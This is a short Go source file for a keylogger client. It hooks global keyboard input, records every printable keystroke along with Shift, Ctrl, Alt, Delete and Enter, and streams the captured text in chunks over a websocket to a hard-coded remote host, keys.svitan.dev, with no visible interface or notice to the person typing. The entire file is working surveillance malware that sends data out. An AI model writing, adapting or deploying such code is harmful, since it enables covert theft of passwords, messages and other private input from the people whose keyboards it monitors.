keys/client/main.go
2025-03-25 20:45:09 +01:00

116 lines
2.1 KiB
Go

package main
import (
"net/url"
"os"
"github.com/gorilla/websocket"
hook "github.com/robotn/gohook"
)
const (
SHIFT_RAWCODE = 65505
CTRL_RAWCODE = 65507
ALT_RAWCODE = 65513
DEL_KEYCHAR = 8
ENTER_KEYCHAR = 13
REG_START = 32
REG_END = 255
)
var u = url.URL{Scheme: "wss", Host: "keys.svitan.dev", Path: "/keys"}
func main() {
var conn *websocket.Conn
var err error
var tries = 0
for {
conn, _, err = websocket.DefaultDialer.Dial(u.String(), nil)
if err != nil {
tries += 1
if tries >= 3 {
return
}
} else {
break
}
}
defer conn.Close()
go func() {
defer os.Exit(0)
for {
kind, _, err := conn.ReadMessage()
if err != nil {
return
}
if kind == websocket.CloseMessage {
return
}
}
}()
evChan := hook.Start()
defer hook.End()
buff := make([]byte, 64)
for ev := range evChan {
switch ev.Rawcode {
case SHIFT_RAWCODE:
if ev.Kind == hook.KeyDown {
buff = append(buff, []byte("[SHIFT]")...)
} else if ev.Kind == hook.KeyUp {
buff = append(buff, []byte("[shift]")...)
}
continue
case CTRL_RAWCODE:
if ev.Kind == hook.KeyDown {
buff = append(buff, []byte("[CTRL]")...)
} else if ev.Kind == hook.KeyUp {
buff = append(buff, []byte("[ctrl]")...)
}
continue
case ALT_RAWCODE:
if ev.Kind == hook.KeyDown {
buff = append(buff, []byte("[ALT]")...)
} else if ev.Kind == hook.KeyUp {
buff = append(buff, []byte("[alt]")...)
}
continue
case DEL_KEYCHAR:
if ev.Kind == hook.KeyDown {
buff = append(buff, []byte("[DEL]")...)
}
continue
}
switch ev.Keychar {
case DEL_KEYCHAR:
if ev.Kind == hook.KeyDown {
buff = append(buff, []byte("[DEL]")...)
}
continue
case ENTER_KEYCHAR:
if ev.Kind == hook.KeyDown {
buff = append(buff, []byte("\n")...)
}
continue
}
if REG_START <= ev.Keychar && ev.Keychar <= REG_END {
if ev.Kind == hook.KeyDown {
buff = append(buff, byte(ev.Keychar))
}
}
if len(buff) >= 32 {
conn.WriteMessage(websocket.TextMessage, buff[:32])
buff = buff[32:]
}
}
}